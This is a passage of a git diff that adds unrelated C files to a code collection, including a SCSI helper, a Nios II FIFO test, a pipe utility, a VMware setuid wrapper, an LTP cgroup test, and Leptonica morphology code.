+}
+
+long
+SRgetconf(ScsiReq *rp, uchar *list, int nbytes)
+{
+	uchar cmd[10];
+
+	memset(cmd, 0, sizeof(cmd));
+	cmd[0] = Scmdgetconf;
+	cmd[7] = nbytes>>8;
+	cmd[8] = nbytes;
+	rp->cmd.p = cmd;
+	rp->cmd.count = sizeof(cmd);
+	rp->data.p = list;
+	rp->data.count = nbytes;
+	rp->data.write = 0;
+	return SRrequest(rp);
+}
diff --git a/pool/shard001/C/0025914_hello_world.c b/pool/shard001/C/0025914_hello_world.c
new file mode 100644
index 0000000000000000000000000000000000000000..86cabbfe9c062d111a8d751f0f12dd4c156540ec
--- /dev/null
+++ b/pool/shard001/C/0025914_hello_world.c
@@ -0,0 +1,71 @@
+/*
+ * "Hello World" example.
+ *
+ * This example prints 'Hello from Nios II' to the STDOUT stream. It runs on
+ * the Nios II 'standard', 'full_featured', 'fast', and 'low_cost' example
+ * designs. It runs with or without the MicroC/OS-II RTOS and requires a STDOUT
+ * device in your system's hardware.
+ * The memory footprint of this hosted application is ~69 kbytes by default
+ * using the standard reference design.
+ *
+ * For a reduced footprint version of this template, and an explanation of how
+ * to reduce the memory footprint for a given application, see the
+ * "small_hello_world" template.
+ *
+ */
+
+#include "sys/alt_stdio.h"
+#include "system.h"
+#include "altera_avalon_fifo_regs.h"
+#include "altera_avalon_fifo_util.h"
+#include <stdio.h>
+#include <stddef.h>
+#include <stdlib.h>
+
+
+int main(void)
+{
+/*****************************************************************************/
+//  File open
+  FILE *fp = NULL;
+  alt_u32 rData;
+  int i = 0;
+  alt_u32 iData, oData;
+  int iEna = 0;
+
+  printf("test_start\n");
+
+  fp = fopen("/mnt/host/test1.txt", "r");
+
+  if(fp == NULL)
+  {
+    printf("Cannot open file.\n");
+    exit(1);
+  }
+
+/*****************************************************************************/
+//  Write to FIFO
+  int k;
+  for(i = 0; i < 1000; i++)
+  {
+    if(iEna) break;
+    else
+    {
+      fscanf(fp, "%x", &rData);
+      iData = rData;
+      printf("%08x\n", iData);
+      iEna = altera_avalon_fifo_write_fifo(0x41094, 0x41060, iData);
+    }
+  }
+
+  for(k = 0; k < 1000; k++)
+  {
+    oData = altera_avalon_fifo_read_fifo(0x41090, 0x41040);
+    if(oData) printf("%x ", oData);
+  }
+
+
+/*****************************************************************************/
+//  Finish process
+  return 0;
+}
diff --git a/pool/shard001/C/0025915_tsn.c b/pool/shard001/C/0025915_tsn.c
new file mode 100644
index 0000000000000000000000000000000000000000..7986643a1b425f78d6a15b386e8833328f37fbbd
--- /dev/null
+++ b/pool/shard001/C/0025915_tsn.c
@@ -0,0 +1,32 @@
+#include <unistd.h>
+#include <stdio.h>
+#include <errno.h>
+#include <stdlib.h>
+#include <string.h>
+
+void main(int args,char * argv[]){
+	int pipeD[2],en;
+	int stat=pipe(pipeD);
+	if (stat==-1){
+		en=errno;
+		printf("pipe:\t%s\n",strerror(en));
+		exit(EXIT_FAILURE);
+	}
+	pid_t pid=fork();
+	if (pid<0){
+		en=errno;
+		printf("fork\t%s\n",strerror(en));
+		exit(EXIT_FAILURE);
+	}
+	else if(pid==0){//child
+		close(pipeD[1]);
+		dup2(pipeD[0],0);
+		execlp(argv[3],argv[3],argv[4],(char *)NULL);
+	}
+	else{//parent
+		close(pipeD[0]);
+		dup2(pipeD[1],1);
+		execlp(argv[1],argv[1],argv[2],(char *)NULL);
+	}
+}
+
diff --git a/pool/shard001/C/0025919_main.c b/pool/shard001/C/0025919_main.c
new file mode 100644
index 0000000000000000000000000000000000000000..eb7873d2be66746ecb63395afa246e0108e623ad
--- /dev/null
+++ b/pool/shard001/C/0025919_main.c
@@ -0,0 +1,288 @@
+/*********************************************************
+ * Copyright (C) 2007 VMware, Inc. All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms of the GNU Lesser General Public License as published
+ * by the Free Software Foundation version 2.1 and no later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
+ * or FITNESS FOR A PARTICULAR PURPOSE.  See the Lesser GNU General Public
+ * License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public License
+ * along with this program; if not, write to the Free Software Foundation, Inc.,
+ * 51 Franklin St, Fifth Floor, Boston, MA  02110-1301 USA.
+ *
+ *********************************************************/
+
+
+/*
+ * main.c --
+ *
+ *      This program is run as root to prepare the system for vmware-user.  It
+ *      unmounts the vmblock file system, unloads the vmblock module, then
+ *      reloads the module, mounts the file system, and opens a file descriptor
+ *      that vmware-user can use to add and remove blocks.  This must all
+ *      happen as root since we cannot allow any random process to add and
+ *      remove blocks in the blocking file system.
+ */
+
+#if !defined(sun) && !defined(__FreeBSD__) && !defined(linux)
+# error This program is not supported on your platform.
+#endif
+
+#include <sys/param.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+
+#include <stdlib.h>
+#include <stdio.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <string.h>
+
+#include "vmware.h"
+#include "vmblock.h"
+#include "vmsignal.h"
+#include "wrapper.h"
+
+#include "wrapper_version.h"
+#include "embed_version.h"
+VM_EMBED_VERSION(WRAPPER_VERSION_STRING);
+
+
+/*
+ * Local functions (prototypes)
+ */
+
+static void MaskSignals(void);
+static Bool StartVMwareUser(char *const envp[]);
+
+
+/*
+ *----------------------------------------------------------------------------
+ *
+ * main --
+ *
+ *    On platforms where this wrapper manages the vmblock module:
+ *       Unmounts vmblock and unloads the module, then reloads the module,
+ *       and remounts the file system, then starts vmware-user as described
+ *       below.
+ *
+ *       This program is the only point at which vmblock is stopped or
+ *       started.  This means we must always unload the module to ensure that
+ *       we are using the newest installed version (since an upgrade could
+ *       have occurred since the last time this program ran).
+ *
+ *    On all platforms:
+ *       Acquires the vmblock control file descriptor, drops privileges, then
+ *       starts vmware-user.
+ *
+ * Results:
+ *    EXIT_SUCCESS on success and EXIT_FAILURE on failure.
+ *
+ * Side effects:
+ *    None.
+ *
+ *----------------------------------------------------------------------------
+ */
+
+int
+main(int argc,
+     char *argv[],
+     char *envp[])
+{
+   MaskSignals();
+
+   if (!StartVMwareUser(envp)) {
+      Error("failed to start vmware-user\n");
+      exit(EXIT_FAILURE);
+   }
+
+   exit(EXIT_SUCCESS);
+}
+
+
+/*
+ * Local functions (definitions)
+ */
+
+
+/*
+ *-----------------------------------------------------------------------------
+ *
+ * MaskSignals --
+ *
+ *      Sets SIG_IGN as the handler for SIGUSR1 and SIGUSR2 which may arrive
+ *      prematurely from our services script.  See bug 542135.
+ *
+ * Results:
+ *      Returns if applicable signals are blocked.
+ *      Exits with EXIT_FAILURE otherwise.
+ *
+ * Side effects:
+ *      SIG_IGN disposition persists across execve().  These signals will
+ *      remain masked until vmware-user defines its own handlers.
+ *
+ *-----------------------------------------------------------------------------
+ */
+
+static void
+MaskSignals(void)
+{
+   int const signals[] = {
+      SIGUSR1,
+      SIGUSR2
+   };
+   struct sigaction olds[ARRAYSIZE(signals)];
+
+   if (Signal_SetGroupHandler(signals, olds, ARRAYSIZE(signals),
+                              SIG_IGN) == 0) {
+      /* Signal_SetGroupHandler will write error message to stderr. */
+      exit(EXIT_FAILURE);
+   }
+}
+
+
+/*
+ *----------------------------------------------------------------------------
+ *
+ * StartVMwareUser --
+ *
+ *    Obtains the library directory from the Tools locations database, then
+ *    opens a file descriptor (while still root) to add and remove blocks,
+ *    drops privilege to the real uid of this process, and finally starts
+ *    vmware-user.
+ *
+ * Results:
+ *    Parent: TRUE on success, FALSE on failure.
+ *    Child: FALSE on failure, no return on success.
+ *
+ * Side effects:
+ *    None.
+ *
+ *----------------------------------------------------------------------------
+ */
+
+static Bool
+StartVMwareUser(char *const envp[])
+{
+   pid_t pid;
+   uid_t uid;
+   gid_t gid;
+   int fd = -1;
+   int ret;
+   char path[MAXPATHLEN];
+   char *argv[6];
+   size_t idx = 0;
+
+   if (!BuildExecPath(path, sizeof path)) {
+      return FALSE;
+   }
+
+   /*
+    * Now create a child process, obtain a file descriptor as root, downgrade
+    * privilege, and run vmware-user.
+    */
+   pid = fork();
+   if (pid == -1) {
+      Error("fork failed: %s\n", strerror(errno));
+      return FALSE;
+   } else if (pid != 0) {
+      /* Parent */
+      return TRUE;
+   }
+
+   /* Child */
+
+   /*
+    * We know the file system is mounted and want to keep this suid
+    * root wrapper as small as possible, so here we directly open(2) the
+    * "device" instead of calling DnD_InitializeBlocking() and bringing along
+    * a whole host of libs.
+    */
+   fd = open(VMBLOCK_FUSE_DEVICE, VMBLOCK_FUSE_DEVICE_MODE);
+   if (fd < 0) {
+      fd = open(VMBLOCK_DEVICE, VMBLOCK_DEVICE_MODE);
+   }
+
+   uid = getuid();
+   gid = getgid();
+
+   if ((setreuid(uid, uid) != 0) ||
+       (setregid(gid, gid) != 0)) {
+      Error("could not drop privileges: %s\n", strerror(errno));
+      if (fd != -1) {
+         close(fd);
+      }
+      return FALSE;
+   }
+
+   /*
+    * Since vmware-user provides features that don't depend on vmblock, we
+    * invoke vmware-user even if we couldn't obtain a file descriptor or we
+    * can't parse the descriptor to pass as an argument.  We set up the
+    * argument vector accordingly.
+    */
+   argv[idx++] = path;
+   argv[idx++] = "-n";
+   argv[idx++] = "vmusr";
+
+   if (fd < 0) {
+      Error("could not open %s\n", VMBLOCK_DEVICE);
+   } else {
+      char fdStr[8];
+
+      ret = snprintf(fdStr, sizeof fdStr, "%d", fd);
+      if (ret == 0 || ret >= sizeof fdStr) {
+         Error("could not parse file descriptor (%d)\n", fd);
+      } else {
+         argv[idx++] = "--blockFd";
+         argv[idx++] = fdStr;
+      }
+   }
+
+   argv[idx++] = NULL;
+   CompatExec(path, argv, envp);
+
+   /*
+    * CompatExec, if successful, doesn't return.  I.e., we're here only
+    * if CompatExec fails.
+    */
+   Error("could not execute %s: %s\n", path, strerror(errno));
+   _exit(EXIT_FAILURE);
+}
+
+
+#ifndef USES_LOCATIONS_DB
+/*
+ *-----------------------------------------------------------------------------
+ *
+ * BuildExecPath --
+ *
+ *	Writes the path to vmware-user to execPath.  This version, as opposed
+ *	to the versions in $platform/wrapper.c, is only used when the locations
+ *	database isn't used.
+ *
+ * Results:
+ *      TRUE on success, FALSE on failure.
+ *
+ * Side effects:
+ *      None.
+ *
+ *-----------------------------------------------------------------------------
+ */
+
+Bool
+BuildExecPath(char *execPath,           // OUT: Buffer to store executable's path
+              size_t execPathSize)      // IN : size of execPath buffer
+{
+   if (execPathSize < sizeof VMTOOLSD_PATH) {
+      return FALSE;
+   }
+   strcpy(execPath, VMTOOLSD_PATH);
+   return TRUE;
+}
+#endif // ifndef USES_LOCATIONS_DB
diff --git a/pool/shard001/C/0025934_showbits.c b/pool/shard001/C/0025934_showbits.c
new file mode 100644
index 0000000000000000000000000000000000000000..b8294fe8925996aeba9441add16c55f16caf7070
--- /dev/null
+++ b/pool/shard001/C/0025934_showbits.c
@@ -0,0 +1,20 @@
+/* Program to print the bits of a number */
+#include<stdio.h>
+
+int showbits(int s_num)
+{
+	int bit_size;
+	int count;
+
+	count = 0;
+	
+	bit_size = 8 * sizeof(void *);
+	for(; bit_size >= 1; bit_size--) {
+		printf("%d", (1 & (s_num >> (bit_size - 1))));
+		count++;
+		if(count % 8 == 0)
+			printf(" ");
+	}
+	printf("\n");
+	return 0;
+}
diff --git a/pool/shard001/C/0025937_cpuctl_def_task03.c b/pool/shard001/C/0025937_cpuctl_def_task03.c
new file mode 100644
index 0000000000000000000000000000000000000000..eb96a94b89e18f5d1d91eec8ae833a8baaf0834c
--- /dev/null
+++ b/pool/shard001/C/0025937_cpuctl_def_task03.c
@@ -0,0 +1,248 @@
+/******************************************************************************/
+/*                                                                            */
+/* Copyright (c) International Business Machines  Corp., 2007                 */
+/*                                                                            */
+/* This program is free software;  you can redistribute it and/or modify      */
+/* it under the terms of the GNU General Public License as published by       */
+/* the Free Software Foundation; either version 2 of the License, or          */
+/* (at your option) any later version.                                        */
+/*                                                                            */
+/* This program is distributed in the hope that it will be useful,            */
+/* but WITHOUT ANY WARRANTY;  without even the implied warranty of            */
+/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See                  */
+/* the GNU General Public License for more details.                           */
+/*                                                                            */
+/* You should have received a copy of the GNU General Public License          */
+/* along with this program;  if not, write to the Free Software               */
+/* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA    */
+/*                                                                            */
+/******************************************************************************/
+
+/******************************************************************************/
+/*                                                                            */
+/* File:        cpuctl_task_def02.c                                           */
+/*                                                                            */
+/* Description: This is a c program that runs as a default task in a default  */
+/*              group to create an ideal scenario. In this default group all  */
+/*              the system tasks will be running along with this spinning task*/
+/*              The file is to be used by tests 6-8.                          */
+/*                                                                            */
+/* Total Tests: 3                                                             */
+/*                                                                            */
+/* Test 6:      N X M (N groups with M tasks each)                            */
+/* Test 7:      N*M X 1 (N*M groups with 1 task each)                         */
+/* Test 8:      1 X N*M (1 group with N*M tasks each)                         */
+/*                                                                            */
+/* Test Name:   cpu_controller_test 6,7,8                                     */
+/*                                                                            */
+/* Test Assertion                                                             */
+/*              Please refer to the file cpuctl_testplan.txt                  */
+/*                                                                            */
+/* Author:      Sudhir Kumar skumar@linux.vnet.ibm.com                        */
+/*                                                                            */
+/* History:                                                                   */
+/* Created-     20/11/2008 -Sudhir Kumar <skumar@linux.vnet.ibm.com>          */
+/*                                                                            */
+/******************************************************************************/
+
+/* Standard Include Files */
+#include <unistd.h>
+#include <math.h>
+#include <signal.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/resource.h>
+#include <sys/syscall.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include <time.h>
+#include <unistd.h>
+
+#include "../libcontrollers/libcontrollers.h"
+#include "test.h"		/* LTP harness APIs*/
+
+#define TIME_INTERVAL	30	/* Time interval in seconds*/
+#define NUM_INTERVALS	2       /* How many iterations of TIME_INTERVAL */
+
+char *TCID = "cpu_controller_test06";
+int TST_TOTAL = 3;
+pid_t scriptpid;
+char path[] = "/dev/cpuctl";
+extern void
+cleanup()
+{
+	kill(scriptpid, SIGUSR1);/* Inform the shell to do cleanup*/
+		  /* Report exit status*/
+}
+
+volatile int timer_expired = 0;
+
+int main(int argc, char *argv[])
+{
+
+	int test_num, task_num, len, num_cpus;
+	char mygroup[FILENAME_MAX], mytaskfile[FILENAME_MAX];
+	char mysharesfile[FILENAME_MAX], ch;
+	/* Following variables are to capture parameters from script*/
+	char *group_num_p, *mygroup_p, *script_pid_p, *num_cpus_p;
+	char *test_num_p, *task_num_p;
+	pid_t pid;
+	gid_t mygroup_num;	        /* A number attached with a group*/
+	int fd;          	        /* to open a fifo to synchronize*/
+	int counter = 0; 	 	/* To take n number of readings*/
+	double total_cpu_time,  	/* Accumulated cpu time*/
+		delta_cpu_time,  	/* Time the task could run on cpu(s)*/
+		prev_cpu_time = 0;
+	double exp_cpu_time;            /* Exp time in % by shares calculation*/
+
+	struct rusage cpu_usage;
+	time_t current_time, prev_time, delta_time;
+	unsigned int fmyshares, num_tasks;
+	struct sigaction newaction, oldaction;
+
+	mygroup_num = -1;
+	num_cpus = 0;
+	task_num = 0;
+	test_num = 0;
+
+	/* Signal handling for alarm*/
+	sigemptyset(&newaction.sa_mask);
+	newaction.sa_handler = signal_handler_alarm;
+	newaction.sa_flags = 0;
+	sigaction(SIGALRM, &newaction, &oldaction);
+
+	/* Collect the parameters passed by the script */
+	group_num_p	= getenv("GROUP_NUM");
+	mygroup_p	= getenv("MYGROUP");
+	script_pid_p 	= getenv("SCRIPT_PID");
+	num_cpus_p 	= getenv("NUM_CPUS");
+	test_num_p 	= getenv("TEST_NUM");
+	task_num_p 	= getenv("TASK_NUM");
+	/* Check if all of them are valid */
+	if ((test_num_p != NULL) && (((test_num = atoi(test_num_p)) <= 8) && \
+					((test_num = atoi(test_num_p)) >= 6))) {
+		if ((group_num_p != NULL) && (mygroup_p != NULL) && \
+			(script_pid_p != NULL) && (num_cpus_p != NULL) && \
+				 (task_num_p != NULL)) {
+			mygroup_num	 = atoi(group_num_p);
+			scriptpid	 = atoi(script_pid_p);
+			num_cpus	 = atoi(num_cpus_p);
+			task_num	 = atoi(task_num_p);
+			sprintf(mygroup, "%s", mygroup_p);
+		} else {
+			tst_brkm(TBROK, cleanup,
+					 "Invalid other input parameters\n");
+		}
+	} else {
+		tst_brkm(TBROK, cleanup, "Invalid test number passed\n");
+	}
+
+	sprintf(mytaskfile, "%s", mygroup);
+	sprintf(mysharesfile, "%s", mygroup);
+	strcat(mytaskfile, "/tasks");
+	strcat(mysharesfile, "/cpu.shares");
+	pid = getpid();
+	write_to_file(mytaskfile, "a", pid);    /* Assign task to it's group*/
+
+	fd = open("./myfifo", 0);
+	if (fd == -1)
+		tst_brkm(TBROK, cleanup, "Could not open fifo synchronize");
+
+	read(fd, &ch, 1);	/* Block task here to synchronize */
+
+	/*
+	 * We need not calculate the expected % cpu time of this task, as
+	 * neither it is required nor it can be predicted as there are idle
+	 * system tasks (and others too) in this group.
+	 */
+	FLAG = 0;
+	total_shares = 0;
+	shares_pointer = &total_shares;
+	len = strlen(path);
+	if (!strncpy(fullpath, path, len))
+		tst_brkm(TBROK, cleanup,
+			 "Could not copy directory path %s ", path);
+
+	if (scan_shares_files(shares_pointer) != 0)
+		tst_brkm(TBROK, cleanup,
+		 "From function scan_shares_files in %s ", fullpath);
+
+	/* return val -1 in case of function error, else 2 is min share value */
+	if ((fmyshares = read_shares_file(mysharesfile)) < 2)
+		tst_brkm(TBROK, cleanup,
+			 "in reading shares files  %s ", mysharesfile);
+
+	if ((read_file(mytaskfile, GET_TASKS, &num_tasks)) < 0)
+		tst_brkm(TBROK, cleanup,
+			 "in reading tasks files  %s ", mytaskfile);
+
+	exp_cpu_time = (double)(fmyshares * 100) / (total_shares * num_tasks);
+
+	prev_time = time(NULL);	 /* Note down the time*/
+
+	while (1) {
+		/*
+		 * Need to run some cpu intensive task, which also
+		 * frequently checks the timer value
+		 */
+		double f = 274.345, mytime;	/*just a float number for sqrt*/
+		alarm(TIME_INTERVAL);
+		timer_expired = 0;
+		/*
+		 * Let the task run on cpu for TIME_INTERVAL. Time of this
+		 * operation should not be high otherwise we can exceed the
+		 * TIME_INTERVAL to measure cpu usage
+		 */
+		while (!timer_expired)
+			f = sqrt(f * f);
+
+		current_time = time(NULL);
+		/* Duration in case its not exact TIME_INTERVAL*/
+		delta_time = current_time - prev_time;
+
+		getrusage(0, &cpu_usage);
+		/* total_cpu_time = total user time + total sys time */
+		total_cpu_time = (cpu_usage.ru_utime.tv_sec +
+				cpu_usage.ru_utime.tv_usec * 1e-6 +
+				cpu_usage.ru_stime.tv_sec +
+				cpu_usage.ru_stime.tv_usec * 1e-6) ;
+		delta_cpu_time = total_cpu_time - prev_cpu_time;
+
+		prev_cpu_time = total_cpu_time;
+		prev_time = current_time;
+
+		/* calculate % cpu time each task gets */
+		if (delta_time > TIME_INTERVAL)
+			mytime = (delta_cpu_time * 100) /
+					 (delta_time * num_cpus);
+		else
+			mytime = (delta_cpu_time * 100) /
+					 (TIME_INTERVAL * num_cpus);
+
+		/* No neeed to print the results */
+		fprintf(stdout, "Grp:-%3d task-%3d:CPU TIME{calc:-%6.2f(s)"
+			" i.e. %6.2f(%%) exp:-%6.2f(%%)} in %lu (s)\n",
+			mygroup_num, task_num, delta_cpu_time, mytime,
+			exp_cpu_time, delta_time);
+
+		counter++;
+
+		if (counter >= NUM_INTERVALS) {
+			switch (test_num) {
+			case 6:			/* Test 06 */
+			case 7:			/* Test 07 */
+			case 8:			/* Test 08 */
+				exit(0);	/* This task is done */
+				break;
+			default:
+				tst_brkm(TBROK, cleanup,
+						 "Invalid test num passed\n");
+				break;
+
+			}	/* end switch*/
+		}	/* end if*/
+	}	/* end while*/
+}	/* end main*/
diff --git a/pool/shard001/C/0025941_dwacomb.2.c b/pool/shard001/C/0025941_dwacomb.2.c
new file mode 100644
index 0000000000000000000000000000000000000000..eba22e37b9700b8e910466451644db4c01796358
--- /dev/null
+++ b/pool/shard001/C/0025941_dwacomb.2.c
@@ -0,0 +1,280 @@
+/*====================================================================*
+ -  Copyright (C) 2001 Leptonica.  All rights reserved.
+ -  This software is distributed in the hope that it will be
+ -  useful, but with NO WARRANTY OF ANY KIND.
+ -  No author or distributor accepts responsibility to anyone for the
+ -  consequences of using this software, or for whether it serves any
+ -  particular purpose or works at all, unless he or she says so in
+ -  writing.  Everyone is granted permission to copy, modify and
+ -  redistribute this source code, for commercial or non-commercial
+ -  purposes, with the following restrictions: (1) the origin of this
+ -  source code must not be misrepresented; (2) modified versions must
+ -  be plainly marked as such; and (3) this notice may not be removed
+ -  or altered from any source or modified source distribution.
+ *====================================================================*/
+
+/*!
+ *      Top-level fast binary morphology with auto-generated sels
+ *
+ *             PIX     *pixMorphDwa_2()
+ *             PIX     *pixFMorphopGen_2()
+ */
+
+#include <string.h>
+#include "allheaders.h"
+
+PIX *pixMorphDwa_2(PIX *pixd, PIX *pixs, l_int32 operation, char *selname);
+PIX *pixFMorphopGen_2(PIX *pixd, PIX *pixs, l_int32 operation, char *selname);
+l_int32 fmorphopgen_low_2(l_uint32 *datad, l_int32 w,
+                          l_int32 h, l_int32 wpld,
+                          l_uint32 *datas, l_int32 wpls,
+                          l_int32 index);
+
+static l_int32   NUM_SELS_GENERATED = 76;
+static char  SEL_NAMES[][80] = {
+                             "sel_comb_4h",
+                             "sel_comb_4v",
+                             "sel_comb_5h",
+                             "sel_comb_5v",
+                             "sel_comb_6h",
+                             "sel_comb_6v",
+                             "sel_comb_7h",
+                             "sel_comb_7v",
+                             "sel_comb_8h",
+                             "sel_comb_8v",
+                             "sel_comb_9h",
+                             "sel_comb_9v",
+                             "sel_comb_10h",
+                             "sel_comb_10v",
+                             "sel_comb_12h",
+                             "sel_comb_12v",
+                             "sel_comb_14h",
+                             "sel_comb_14v",
+                             "sel_comb_15h",
+                             "sel_comb_15v",
+                             "sel_comb_16h",
+                             "sel_comb_16v",
+                             "sel_comb_18h",
+                             "sel_comb_18v",
+                             "sel_comb_20h",
+                             "sel_comb_20v",
+                             "sel_comb_21h",
+                             "sel_comb_21v",
+                             "sel_comb_22h",
+                             "sel_comb_22v",
+                             "sel_comb_24h",
+                             "sel_comb_24v",
+                             "sel_comb_25h",
+                             "sel_comb_25v",
+                             "sel_comb_27h",
+                             "sel_comb_27v",
+                             "sel_comb_28h",
+                             "sel_comb_28v",
+                             "sel_comb_30h",
+                             "sel_comb_30v",
+                             "sel_comb_32h",
+                             "sel_comb_32v",
+                             "sel_comb_33h",
+                             "sel_comb_33v",
+                             "sel_comb_35h",
+                             "sel_comb_35v",
+                             "sel_comb_36h",
+                             "sel_comb_36v",
+                             "sel_comb_39h",
+                             "sel_comb_39v",
+                             "sel_comb_40h",
+                             "sel_comb_40v",
+                             "sel_comb_42h",
+                             "sel_comb_42v",
+                             "sel_comb_44h",
+                             "sel_comb_44v",
+                             "sel_comb_45h",
+                             "sel_comb_45v",
+                             "sel_comb_48h",
+                             "sel_comb_48v",
+                             "sel_comb_49h",
+                             "sel_comb_49v",
+                             "sel_comb_50h",
+                             "sel_comb_50v",
+                             "sel_comb_52h",
+                             "sel_comb_52v",
+                             "sel_comb_54h",
+                             "sel_comb_54v",
+                             "sel_comb_55h",
+                             "sel_comb_55v",
+                             "sel_comb_56h",
+                             "sel_comb_56v",
+                             "sel_comb_60h",
+                             "sel_comb_60v",
+                             "sel_comb_63h",
+                             "sel_comb_63v"};
+
+/*!
+ *  pixMorphDwa_2()
+ *
+ *      Input:  pixd (usual 3 choices: null, == pixs, != pixs)
+ *              pixs (1 bpp)
+ *              operation  (L_MORPH_DILATE, L_MORPH_ERODE,
+ *                          L_MORPH_OPEN, L_MORPH_CLOSE)
+ *              sel name
+ *      Return: pixd
+ *
+ *  Notes:
+ *      (1) This simply adds a border, calls the appropriate
+ *          pixFMorphopGen_*(), and removes the border.
+ *          See the notes for that function.
+ *      (2) The size of the border depends on the operation
+ *          and the boundary conditions.
+ */
+PIX *
+pixMorphDwa_2(PIX     *pixd,
+              PIX     *pixs,
+              l_int32  operation,
+              char    *selname)
+{
+l_int32  bordercolor, bordersize;
+PIX     *pixt1, *pixt2, *pixt3;
+
+    PROCNAME("pixMorphDwa_2");
+
+    if (!pixs)
+        return (PIX *)ERROR_PTR("pixs not defined", procName, pixd);
+    if (pixGetDepth(pixs) != 1)
+        return (PIX *)ERROR_PTR("pixs must be 1 bpp", procName, pixd);
+
+        /* Set the border size */
+    bordercolor = getMorphBorderPixelColor(L_MORPH_ERODE, 1);
+    bordersize = 32;
+    if (bordercolor == 0 && operation == L_MORPH_CLOSE)
+        bordersize += 32;
+
+    pixt1 = pixAddBorder(pixs, bordersize, 0);
+    pixt2 = pixFMorphopGen_2(NULL, pixt1, operation, selname);
+    pixt3 = pixRemoveBorder(pixt2, bordersize);
+    pixDestroy(&pixt1);
+    pixDestroy(&pixt2);
+
+    if (!pixd)
+        return pixt3;
+
+    pixCopy(pixd, pixt3);
+    pixDestroy(&pixt3);
+    return pixd;
+}
+
+
+/*!
+ *  pixFMorphopGen_2()
+ *
+ *      Input:  pixd (usual 3 choices: null, == pixs, != pixs)
+ *              pixs (1 bpp)
+ *              operation  (L_MORPH_DILATE, L_MORPH_ERODE,
+ *                          L_MORPH_OPEN, L_MORPH_CLOSE)
+ *              sel name
+ *      Return: pixd
+ *
+ *  Notes:
+ *      (1) This is a dwa operation, and the Sels must be limited in
+ *          size to not more than 31 pixels about the origin.
+ *      (2) A border of appropriate size (32 pixels, or 64 pixels
+ *          for safe closing with asymmetric b.c.) must be added before
+ *          this function is called.
+ *      (3) This handles all required setting of the border pixels
+ *          before erosion and dilation.
+ *      (4) The closing operation is safe; no pixels can be removed
+ *          near the boundary.
+ */
+PIX *
+pixFMorphopGen_2(PIX     *pixd,
+                 PIX     *pixs,
+                 l_int32  operation,
+                 char    *selname)
+{
+l_int32    i, index, found, w, h, wpls, wpld, bordercolor, erodeop, borderop;
+l_uint32  *datad, *datas, *datat;
+PIX       *pixt;
+
+    PROCNAME("pixFMorphopGen_2");
+
+    if (!pixs)
+        return (PIX *)ERROR_PTR("pixs not defined", procName, pixd);
+    if (pixGetDepth(pixs) != 1)
+        return (PIX *)ERROR_PTR("pixs must be 1 bpp", procName, pixd);
+
+        /* Get boundary colors to use */
+    bordercolor = getMorphBorderPixelColor(L_MORPH_ERODE, 1);
+    if (bordercolor == 1)
+        erodeop = PIX_SET;
+    else
+        erodeop = PIX_CLR;
+
+    found = FALSE;
+    for (i = 0; i < NUM_SELS_GENERATED; i++) {
+        if (strcmp(selname, SEL_NAMES[i]) == 0) {
+            found = TRUE;
+            index = 2 * i;
+            break;
+        }
+    }
+    if (found == FALSE)
+        return (PIX *)ERROR_PTR("sel index not found", procName, pixd);
+
+    if (!pixd) {
+        if ((pixd = pixCreateTemplate(pixs)) == NULL)
+            return (PIX *)ERROR_PTR("pixd not made", procName, NULL);
+    }
+    else  /* for in-place or pre-allocated */
+        pixResizeImageData(pixd, pixs);
+    wpls = pixGetWpl(pixs);
+    wpld = pixGetWpl(pixd);
+
+        /* The images must be surrounded, in advance, with a border of
+         * size 32 pixels (or 64, for closing), that we'll read from.
+         * Fabricate a "proper" image as the subimage within the 32
+         * pixel border, having the following parameters:  */
+    w = pixGetWidth(pixs) - 64;
+    h = pixGetHeight(pixs) - 64;
+    datas = pixGetData(pixs) + 32 * wpls + 1;
+    datad = pixGetData(pixd) + 32 * wpld + 1;
+
+    if (operation == L_MORPH_DILATE || operation == L_MORPH_ERODE) {
+        borderop = PIX_CLR;
+        if (operation == L_MORPH_ERODE) {
+            borderop = erodeop;
+            index++;
+        }
+        if (pixd == pixs) {  /* in-place; generate a temp image */
+            if ((pixt = pixCopy(NULL, pixs)) == NULL)
+                return (PIX *)ERROR_PTR("pixt not made", procName, pixd);
+            datat = pixGetData(pixt) + 32 * wpls + 1;
+            pixSetOrClearBorder(pixt, 32, 32, 32, 32, borderop);
+            fmorphopgen_low_2(datad, w, h, wpld, datat, wpls, index);
+            pixDestroy(&pixt);
+        }
+        else { /* not in-place */
+            pixSetOrClearBorder(pixs, 32, 32, 32, 32, borderop);
+            fmorphopgen_low_2(datad, w, h, wpld, datas, wpls, index);
+        }
+    }
+    else {  /* opening or closing; generate a temp image */
+        if ((pixt = pixCreateTemplate(pixs)) == NULL)
+            return (PIX *)ERROR_PTR("pixt not made", procName, pixd);
+        datat = pixGetData(pixt) + 32 * wpls + 1;
+        if (operation == L_MORPH_OPEN) {
+            pixSetOrClearBorder(pixs, 32, 32, 32, 32, erodeop);
+            fmorphopgen_low_2(datat, w, h, wpls, datas, wpls, index+1);
+            pixSetOrClearBorder(pixt, 32, 32, 32, 32, PIX_CLR);
+            fmorphopgen_low_2(datad, w, h, wpld, datat, wpls, index);
+        }
+        else {  /* closing */
+            pixSetOrClearBorder(pixs, 32, 32, 32, 32, PIX_CLR);
+            fmorphopgen_low_2(datat, w, h, wpls, datas, wpls, index);
+            pixSetOrClearBorder(pixt, 32, 32, 32, 32, erodeop);
+            fmorphopgen_low_2(datad, w, h, wpld, datat, wpls, index+1);
+        }
+        pixDestroy(&pixt);
+    }
+
+    return pixd;
+}
+
diff --git a/pool/shard001/C/0025944_main.c b/pool/shard001/C/0025944_main.c
new file mode 100644
index 0000000000000000000000000000000000000000..6ff1036f6c80568c8a580ac8bca97b824262a1bb
--- /dev/null
+++ b/pool/shard001/C/0025944_main.c
@@ -0,0 +1,21 @@
+/*
+Pares entre Cinco Números
+https://www.urionlinejudge.com.br/judge/pt/problems/view/1065
+*/
+
+#include <stdio.h>
+
